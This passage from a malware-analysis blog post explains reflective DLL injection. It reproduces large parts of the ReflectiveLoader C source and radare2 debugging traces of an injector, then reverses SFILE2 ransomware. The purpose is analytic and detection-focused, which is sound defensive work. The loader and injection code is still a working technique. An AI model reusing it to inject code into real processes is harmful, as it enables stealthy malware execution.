		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
		// clear uiValueC which will store the hash of the module name
		uiValueC = 0;

		// compute the hash of the module name...
		do
		{
			uiValueC = ror( (DWORD)uiValueC );
			// normalize to uppercase if the madule name is in lowercase
			if( *((BYTE *)uiValueB) >= 'a' )
				uiValueC += *((BYTE *)uiValueB) - 0x20;
			else
				uiValueC += *((BYTE *)uiValueB);
			uiValueB++;
		} while( --usCounter );

		// compare the hash with that of kernel32.dll
		if( (DWORD)uiValueC == KERNEL32DLL_HASH )
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			// get the VA of the export directory
			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			// get the VA for the array of name pointers
			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
			
			// get the VA for the array of name ordinals
			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 3;

This is very easy to detect in static analysis, as to do that the loader will walk through the PEB and hash the entries to check if they correspond to the hash of the ones it is looking for. So those ROR hashes will appear hardcoded as we see here:

ref11

A simple copy and paste on google will reveal some info:

ref12

After the libraries are resolved, the next thing is to resolve the needed functions. GetProcAddress, VirtualAlloc and LoadLibrary

while( usCounter > 0 )
			{
				// compute the hash values for this function name
				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
				
				// if we have found a function we want we get its virtual address
				if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
				{
					// get the VA for the array of addresses
					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					// store this functions VA
					if( dwHashValue == LOADLIBRARYA_HASH )
						pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					else if( dwHashValue == GETPROCADDRESS_HASH )
						pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					else if( dwHashValue == VIRTUALALLOC_HASH )
						pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
			
					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}
		}

The process here is again, very similar: ref13

A quick look at many github projects reveals the whole list:

ref14

Having done that, the loader goes for step 2, using the recently resolved VirtualAlloc to load itself (the whole DLL) in memory on the program:

// STEP 2: load our image into a new permanent location in memory...

	// get the VA of the NT Header for the PE to be loaded
	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
	uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

	// we must now copy over the headers
	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
	uiValueB = uiLibraryAddress;
	uiValueC = uiBaseAddress;

This one is easy to detect as well as a call to VirtualAlloc follows a easily detectable pattern comprised of the 0x40 for RWX and a big chunk for the size to be allocated… ref15

Then step 3 maps the DLL itself section by section:

// STEP 3: load in all of our sections...

	// uiValueA = the VA of the first section
	uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
	
	// itterate through all sections, loading them into memory.
	uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
	while( uiValueE-- )
	{
		// uiValueB is the VA for this section
		uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

		// uiValueC if the VA for this sections data
		uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

		// copy the section over
		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

		while( uiValueD-- )
			*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

		// get the VA of the next section
		uiValueA += sizeof( IMAGE_SECTION_HEADER );
	}

That nested while can be identified as well, though in a less clear way. Here we should pay attention to the mov byte inside a loop. ref16

Then the import table is to be fixed in step 4, to map it to the actual process space.

// STEP 4: process our images import table...

	// uiValueB = the address of the import directory
	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
	
	// we assume their is an import table to process
	// uiValueC is the first entry in the import table
	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
	
	// itterate through all imports
	while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
	{
		// use LoadLibraryA to load the imported module into memory
		uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

		// uiValueD = VA of the OriginalFirstThunk
		uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
	
		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
		uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

		// itterate through all imported functions, importing by ordinal if no name present
		while( DEREF(uiValueA) )
		{
			// sanity check uiValueD as some compilers only import by FirstThunk
			if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
			{
				// get the VA of the modules NT Header
				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

				// uiNameArray = the address of the modules export directory entry
				uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

				// get the VA of the export directory
				uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

				// get the VA for the array of addresses
				uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

				// use the import ordinal (- export ordinal base) as an index into the array of addresses
				uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

				// patch in the address for this imported function
				DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
			}
			else
			{
				// get the VA of this functions import by name struct
				uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

				// use GetProcAddress and patch in the address for this imported function
				DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
			}
			// get the next imported function
			uiValueA += sizeof( ULONG_PTR );
			if( uiValueD )
				uiValueD += sizeof( ULONG_PTR );
		}

		// get the next import
		uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
	}

Again this one may be hard to detect statically, we should pay attention to the call var_ch (what’s in there?)

ref17

Then the step 5 which to me is less relevant from a reversing point of view.

ref18

And finally, this one is important, the call to the entry point as the DLL is now fully mapped:

// STEP 6: call our images entry point

	// uiValueA = the VA of our newly loaded DLL/EXE's entry point
	uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

	// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
	pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

	// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
	// if we are injecting an DLL via a stub we call DllMain with no parameter
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

	// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
	return uiValueA;

This one is an interesting point to place a breakpoint on, as it opens the gate to whatever will get executed once the reflective dll injection gets executed:

ref19

In this case the DLL to be injected in the example by Stephen Fewer is this one here, your usual harmless MessageBox:

//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"

// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.

// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    BOOL bReturnValue = TRUE;
	switch( dwReason ) 
    { 
		case DLL_QUERY_HMODULE:
			if( lpReserved != NULL )
				*(HMODULE *)lpReserved = hAppInstance;
			break;
		case DLL_PROCESS_ATTACH:
			hAppInstance = hinstDLL;
			MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );
			break;
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
            break;
    }
	return bReturnValue;
}
Debugging the injector

Let’s now see it from the debugger point of view:

Inside radare2, we can easily see that reflective loader is happening by checking the exports of the evil dll:

PS C:\Users\lab\Desktop > radare2 -AAA .\reflective_dll.dll
[Warning: set your favourite calling convention in `e anal.cc=?`
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- We don't make mistakes... just happy little segfaults.
[0x100015c5]> iE
[Exports]

nth paddr      vaddr      bind   type size lib                name
------------------------------------------------------------------
1   0x00000460 0x10001060 GLOBAL FUNC 0    reflective_dll.dll _ReflectiveLoader@4

[0x100015c5]>

Then checking the injector, we see that at first the raw bytes of the dll get loaded

|   | |||   0x00f610dc      8d4c2424       lea ecx, [esp + 0x24]
|   | |||   0x00f610e0      51             push ecx
|   | |||   0x00f610e1      57             push edi
|   | |||   0x00f610e2      50             push eax
|   | |||   0x00f610e3      53             push ebx
|   | |||   0x00f610e4      ff152090f600   call dword [sym.imp.KERNEL32.dll_ReadFile] ; 0xf69020 ; "N\xd4"
|   | |||   0x00f610ea b    8b1d4490f600   mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle] ; [0xf69044:4]=0xd46a ; "j\xd4"

[0x00f610e4]> pxr @ rsp
0x001cf9e4 0x000000e4  .... @ rsp 228 rbx
0x001cf9e8 0x0060afc8  ..`. PRIVATE   rax
0x001cf9ec 0x0000e600  .... 58880 rdi
0x001cf9f0 0x001cfa18  .... PRIVATE   rcx R W 0x0
0x001cf9f4 ..[ null bytes ]..   00000000

[0x00f610e4]> pxw @ 0x0060afc8
0x0060afc8  0x00905a4d 0x00000003 0x00000004 0x0000ffff  MZ..............
0x0060afd8  0x000000b8 0x00000000 0x00000040 0x00000000  ........@.......
0x0060afe8  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0060aff8  0x00000000 0x00000000 0x00000000 0x000000e8  ................
0x0060b008  0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd  ........!..L.!Th
0x0060b018  0x70207369 0x72676f72 0x63206d61 0x6f6e6e61  is program canno
0x0060b028  0x65622074 0x6e757220 0x206e6920 0x20534f44  t be run in DOS
0x0060b038  0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000  mode....$.......
0x0060b048  0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8  ................
0x0060b058  0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2  .<d......<f.....
0x0060b068  0xf6653c19 0xf6abfabe 0xf6aafae8 0xf6abfaa6  .<e.............
0x0060b078  0xf6128d14 0xf6abfaed 0xf6793d4a 0xf6abfaea  ........J=y.....
0x0060b088  0xf6613d4a 0xf6abfae9 0xf6623d4a 0xf6abfae9  J=a.....J=b.....
0x0060b098  0xf6673d4a 0xf6abfae9 0x68636952 0xf6abfae8  J=g.....Rich....
0x0060b0a8  0x00000000 0x00000000 0x00004550 0x0005014c  ........PE..L...
0x0060b0b8  0x50c9c763 0x00000000 0x00000000 0x210200e0  c..P...........!

That is interesting, because in here is pretty basic as the DLL is already in disk. But thinking about some DLL that gets downloaded from a C2, this is a moment to dump the DLL to reverse it individually later on.

Then the call to the injector, and the VirtualAllocEX

[0x00f610e4]> dc
hit breakpoint at: 0xf611b2
[0x00f611b2]> pd 10
|           ;-- rip:
|           0x00f611b2 b    e829020000     call fcn.004013e0
|           0x00f611b7      89442410       mov dword [esp + 0x10], eax
|           0x00f611bb      85c0           test eax, eax
|       ,=< 0x00f611bd      751b           jne 0xf611da
|       |   0x00f611bf      ff152490f600   call dword [sym.imp.KERNEL32.dll_GetLastError] ; 0xf69024
|       |   0x00f611c5      50             push eax
|       |   0x00f611c6      6818cef600     push str.Failed_to_inject_the_DLL ; 0xf6ce18 ; "Failed to inject the DLL"
|       |   0x00f611cb      6890cdf600     push str._____s._Error_d    ; 0xf6cd90 ; "[-] %s. Error=%d"
|       |   0x00f611d0      e81c030000     call fcn.004014f1
|       |   0x00f611d5      83c40c         add esp, 0xc
|    ||||   ;-- rip:
|    ||||   0x00f61449 b    ff153490f600   call dword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; 0xf69034
|    ||||   0x00f6144f b    894508         mov dword [ebp + 8], eax
|    ||||   0x00f61452      85c0           test eax, eax

[0x00f61449]> dc
hit breakpoint at: 0xf6144f
[0x00f61449]> dr rax
0x00050000
[0x00f61449]> pxw @ 0x00050000
0x00050000  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050010  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050030  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050040  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050050  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050060  0x00000000 0x00000000 0x00000000 0x00000000  ................

And we note the space allocated for the evil DLL, this is important as we will check that again after the code being injected, and we will place some breakpoints in:

After that, the DLL is written:

[0x00f61449]> dc
hit breakpoint at: 0xf61463
[0x00f61449]> pxw @ 0x00050000
0x00050000  0x00905a4d 0x00000003 0x00000004 0x0000ffff  MZ..............
0x00050010  0x000000b8 0x00000000 0x00000040 0x00000000  ........@.......
0x00050020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050030  0x00000000 0x00000000 0x00000000 0x000000e8  ................
0x00050040  0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd  ........!..L.!Th
0x00050050  0x70207369 0x72676f72 0x63206d61 0x6f6e6e61  is program canno
0x00050060  0x65622074 0x6e757220 0x206e6920 0x20534f44  t be run in DOS
0x00050070  0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000  mode....$.......
0x00050080  0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8  ................
0x00050090  0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2  .<d......<f.....

And we pass in the execution by a thread:

|  ||||||   0x00f61470      51             push ecx
|  ||||||   0x00f61471      56             push esi
|  ||||||   0x00f61472      56             push esi
|  ||||||   0x00f61473      50             push eax
|  ||||||   0x00f61474      6800001000     push 0x100000
|  ||||||   0x00f61479      56             push esi
|  ||||||   0x00f6147a      57             push edi
|  ||||||   ;-- rip:
|  ||||||   0x00f6147b b    ff153090f600   call dword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; 0xf69030 ; "P;\x93u\x10]\x93u`_\x93u\xa0]Aw`3\x92u\xe0.\x92u01\x92u\xe0\x1e\x92u\xd0 \x92up\v\x92uPWCw\x90MCw\xf0\xfe@w`\xe7@w\xa0\u07d1u\xe0\xe7\x91u`\xe8\x91u\x10\u07d1u\x10N\x92u@\x16\x92uP\xf5\x91u\x80\u07d1u"

Checking the params passed in the CreateRemoteThread, we see our address space, more precisely, we see the entry point, time to put a breakpoint in there:

[0x00f61449]> pxr @ rsp
0x001cf994 0x000000e8  .... @ rsp 232 rdi
0x001cf998 ..[ null bytes ]..   00000000
0x001cf99c 0x00100000  .... PRIVATE
0x001cf9a0 0x00050460  `... PRIVATE   rax R W X 'push ebp' 'PRIVATE  '
0x001cf9a4 ..[ null bytes ]..   00000000
0x001cf9ac 0x001cf9c4  .... PRIVATE   rcx R W 0x0

And then the execution moves there:

[0x00f61449]> pd 50 @ 0x00050460
            ;-- rax:
            0x00050460      55             push ebp
            0x00050461      8bec           mov ebp, esp
            0x00050463      83ec20         sub esp, 0x20
            0x00050466      53             push ebx
            0x00050467      56             push esi
            0x00050468      57             push edi
            0x00050469      33db           xor ebx, ebx
            0x0005046b      33ff           xor edi, edi
            0x0005046d      c745e8000000.  mov dword [ebp - 0x18], 0
            0x00050474      897df4         mov dword [ebp - 0xc], edi
            0x00050477      895dec         mov dword [ebp - 0x14], ebx
            0x0005047a      895de4         mov dword [ebp - 0x1c], ebx
            0x0005047d      e8ceffffff     call 0x50450
            0x00050482      8bd0           mov edx, eax

And step by step we start seeing those same steps we detected statically:

     : ||   0x0005054b      8a0a           mov cl, byte [edx]
     : ||   0x0005054d      84c9           test cl, cl
     `====< 0x0005054f      75ef           jne 0x50540
       ||   0x00050551      3d8e4e0eec     cmp eax, 0xec0e4e8e
      ,===< 0x00050556      740e           je 0x50566
      |||   0x00050558      3daafc0d7c     cmp eax, 0x7c0dfcaa
     ,====< 0x0005055d      7407           je 0x50566
     ||||   0x0005055f      3d54caaf91     cmp eax, 0x91afca54
     ||||   0x00050564      7545           jne 0x505ab
     ||||   ; CODE XREF from unk @
     ||||   ; CODE XREF from unk @
     ``---> 0x00050566      8b4df0         mov ecx, dword [ebp - 0x10]
       ||   0x00050569      0fb711         movzx edx, word [ecx]
       ||   0x0005056c      8b4de0         mov ecx, dword [ebp - 0x20]
       ||   0x0005056f      8b491c         mov ecx, dword [ecx + 0x1c]

The kernel/ntdll parsing:

       ||   0x00930551 b    3d8e4e0eec     cmp eax, 0xec0e4e8e
      ,===< 0x00930556      740e           je 0x930566
      |||   0x00930558      3daafc0d7c     cmp eax, 0x7c0dfcaa

[0x00930460]> dc
hit breakpoint at: 0x930551
[0x00930551]> dr rax
0xa77d8d5a
[0x00930551]>

And the api call parsing from their hashes

      |||   ;-- rip:
      |``-> 0x00930566 b    8b4df0         mov ecx, dword [ebp - 0x10]
[0x00930551]> dr eax
0x7c0dfcaa
[0x00930551]> (GETPROCADDRESS)

Then the call to VirtualAlloc

            0x0093065c      0f856efeffff   jne 0x9304d0
            0x00930662      8b55f8         mov edx, dword [ebp - 8]
            0x00930665      8b7a3c         mov edi, dword [edx + 0x3c]
            0x00930668      6a40           push 0x40                   ; '@' ; 64
            0x0093066a      03fa           add edi, edx
            0x0093066c      6800300000     push 0x3000
            0x00930671      ff7750         push dword [edi + 0x50]
            0x00930674      897dec         mov dword [ebp - 0x14], edi
            0x00930677      6a00           push 0
            0x00930679      ffd3           call ebx

That allocates spaces for the same DLL to get mapped on the process:

[0x00930677]> pd 10
            0x00930677 b    6a00           push 0
            0x00930679      ffd3           call ebx
            ;-- rip:
            0x0093067b b    8b5754         mov edx, dword [edi + 0x54]
            0x0093067e      8bf0           mov esi, eax
            0x00930680      8b45f8         mov eax, dword [ebp - 8]
            0x00930683      8975fc         mov dword [ebp - 4], esi
            0x00930686      8bc8           mov ecx, eax
            0x00930688      85d2           test edx, edx
        ,=< 0x0093068a      7412           je 0x93069e
        |   0x0093068c      2bf0           sub esi, eax
[0x00930677]> dr rax
0x009e0000
[0x00930677]> pxw @ 0x009e0000
0x009e0000  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x009e0010  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x009e0020  0x00000000 0x00000000 0x00000000 0x00000000  ................

Then the loading process:

< 0x009306a8      7436           je 0x9306e0
        |   0x009306aa      83c02c         add eax, 0x2c               ; 44
        |   0x009306ad      03f8           add edi, eax
        |   0x009306af      8b45f8         mov eax, dword [ebp - 8]
       .--> 0x009306b2      8b4ff8         mov ecx, dword [edi - 8]
       :|   0x009306b5      8b17           mov edx, dword [edi]
       :|   0x009306b7      03ce           add ecx, esi
       :|   0x009306b9      8b77fc         mov esi, dword [edi - 4]
       :|   0x009306bc      4b             dec ebx
       :|   0x009306bd      03d0           add edx, eax
       :|   0x009306bf      85f6           test esi, esi
      ,===< 0x009306c1      7410           je 0x9306d3
     .----> 0x009306c3      8a02           mov al, byte [edx]
     :|:|   0x009306c5      8801           mov byte [ecx], al
     :|:|   0x009306c7      8d4901         lea ecx, [ecx + 1]
     :|:|   0x009306ca      8d5201         lea edx, [edx + 1]
     :|:|   0x009306cd      4e             dec esi
     `====< 0x009306ce      75f3           jne 0x9306c3
      |:|   0x009306d0      8b45f8         mov eax, dword [ebp - 8]
      `---> 0x009306d3      8b75fc         mov esi, dword [ebp - 4]
       :|   0x009306d6      83c728         add edi, 0x28               ; 40
       :|   0x009306d9      85db           test ebx, ebx
       `==< 0x009306db      75d5           jne 0x9306b2
        |   0x009306dd      8b7dec         mov edi, dword [ebp - 0x14]
        `-> 0x009306e0      8bb780000000   mov esi, dword [edi + 0x80]
            0x009306e6      8b55fc         mov edx, dword [ebp - 4]

That maps the DLL in the allocated space:

[0x00930677]> dc
hit breakpoint at: 0x9306e0
[0x009306e0]> pxw @ 0x009e0000
0x009e0000  0x00905a4d 0x00000003 0x00000004 0x0000ffff  MZ..............
0x009e0010  0x000000b8 0x00000000 0x00000040 0x00000000  ........@.......
0x009e0020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x009e0030  0x00000000 0x00000000 0x00000000 0x000000e8  ................
0x009e0040  0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd  ........!..L.!Th
0x009e0050  0x70207369 0x72676f72 0x63206d61 0x6f6e6e61  is program canno
0x009e0060  0x65622074 0x6e757220 0x206e6920 0x20534f44  t be run in DOS
0x009e0070  0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000  mode....$.......
0x009e0080  0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8  ................
0x009e0090  0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2  .<d......<f.....
0x009e00a0  0xf6653c19 0xf6abfabe 0xf6aafae8 0xf6abfaa6  .<e.............
0x009e00b0  0xf6128d14 0xf6abfaed 0xf6793d4a 0xf6abfaea  ........J=y.....
0x009e00c0  0xf6613d4a 0xf6abfae9 0xf6623d4a 0xf6abfae9  J=a.....J=b.....
0x009e00d0  0xf6673d4a 0xf6abfae9 0x68636952 0xf6abfae8  J=g.....Rich....

Then the memory address(es) fixing via the relocs along with the rest of the remaining steps:

[0x00930745]> pd 20
       ::   ;-- rip:
       ::   0x00930745 b    8906           mov dword [esi], eax
       ::   0x00930747      83c604         add esi, 4
       ::   0x0093074a      85ff           test edi, edi
      ,===< 0x0093074c      7403           je 0x930751
      |::   0x0093074e      83c704         add edi, 4
      `---> 0x00930751      833e00         cmp dword [esi], 0
       `==< 0x00930754      75ba           jne 0x930710
        :   0x00930756      8b75f0         mov esi, dword [ebp - 0x10]
        :   0x00930759      83c614         add esi, 0x14               ; 20

[0x009306e0]> db 0x00930745
[0x009306e0]> dc
(4084) loading library at 0x0000000076680000 (C:\Windows\SysWOW64\user32.dll) user32.dll
(4084) loading library at 0x0000000075990000 (C:\Windows\SysWOW64\win32u.dll) win32u.dll
(4084) loading library at 0x0000000075250000 (C:\Windows\SysWOW64\gdi32.dll) gdi32.dll
(4084) loading library at 0x0000000075C40000 (C:\Windows\SysWOW64\gdi32full.dll) gdi32full.dll
(4084) loading library at 0x0000000076520000 (C:\Windows\SysWOW64\msvcp_win.dll) msvcp_win.dll
(4084) loading library at 0x0000000076B10000 (C:\Windows\SysWOW64\ucrtbase.dll) ucrtbase.dll
(4084) loading library at 0x0000000075D70000 (C:\Windows\SysWOW64\imm32.dll) imm32.dll
hit breakpoint at: 0x930745

And the final call to DLLMAIN:

            0x00930824      6a00           push 0
            0x00930826      6a00           push 0
            0x00930828      6aff           push 0xffffffffffffffff
            0x0093082a      03f2           add esi, edx
            0x0093082c      ff55e4         call dword [ebp - 0x1c]
            0x0093082f      ff7508         push dword [ebp + 8]
            0x00930832      6a01           push 1                      ; 1
            0x00930834      ff75fc         push dword [ebp - 4]
            0x00930837      ffd6           call esi
            0x00930839      5f             pop edi
            0x0093083a      8bc6           mov eax, esi

And evil code execution yay!

[0x009e15c5]> pd   150
            ;-- rsi:
            ;-- rip:
            0x009e15c5      55             push ebp
            0x009e15c6      8bec           mov ebp, esp
            0x009e15c8      837d0c01       cmp dword [ebp + 0xc], 1
        ,=< 0x009e15cc      7505           jne 0x9e15d3
        |   0x009e15ce      e876110000     call 0x9e2749
        `-> 0x009e15d3      ff7510         push dword [ebp + 0x10]
            0x009e15d6      ff750c         push dword [ebp + 0xc]
            0x009e15d9      ff7508         push dword [ebp + 8]
            0x009e15dc      e807000000     call 0x9e15e8

hellow

Reflective DLL usage in SFILE2 Ransomware

Moving forward to a real case, Vitali Kremez presented the SFILE2 Ransomware as using a ReflectiveLoader.

If we load the program to analyze it statically we start seeinga bunch of suspicious imports:

ref20

Then we can also see the program extensivelly accessing resources on the filesystem:

ref22

Along with clear references to “encryption”:

ref21

And even a public key:

rsakey

It is very clear that we are dealing with a pretty basic ransomware.

By checking its exports, we see a reference to “reflectiveloader”, let’s dig in:

ref23

So we start by seeing how it checks for a valid executable:

ref24

And then we can also, very clearly, identify hash references to those needed libraries:

ref25

Along with the needed combo of api calls:

ref26

And a very clear reference to VirtualAlloc:

ref27

The memory copying of the DLL to be reclectivelly loaded:

ref29

Those relocs:

ref30

And there we find the call to the DLLmain:

ref28

So that is more or less the way we would proceed to confirm a case of reflective dll loading. This one was easy as we found a clear reference to “reflectiveloader”, also the ransomware itself is pretty basic. In this particular case it is probable for the ransomware to be downloaded as a service from a C2, so the dropper/downloader or main infection will load it using the reflectiveloader, for example.

That was all for today, stay in touch as in the following series we’ll dive into more advanced and actual techniques. Step by step.

Bonus track: Basic dll hijacking

If you dive a little bit more into how the DLL loading process works you may find easier and funnier ways to inject code

Malware analysis with IDA/Radare2 - DLL Injection techniques, the fundamentals
Older post

Malware analysis with IDA/Radare2 2 - From unpacking to config extraction to full reversing (IceID Loader)

Newer post

Malware analysis with IDA/Radare2 - PE Injection techniques, the fundamentals

Malware analysis with IDA/Radare2 - DLL Injection techniques, the fundamentals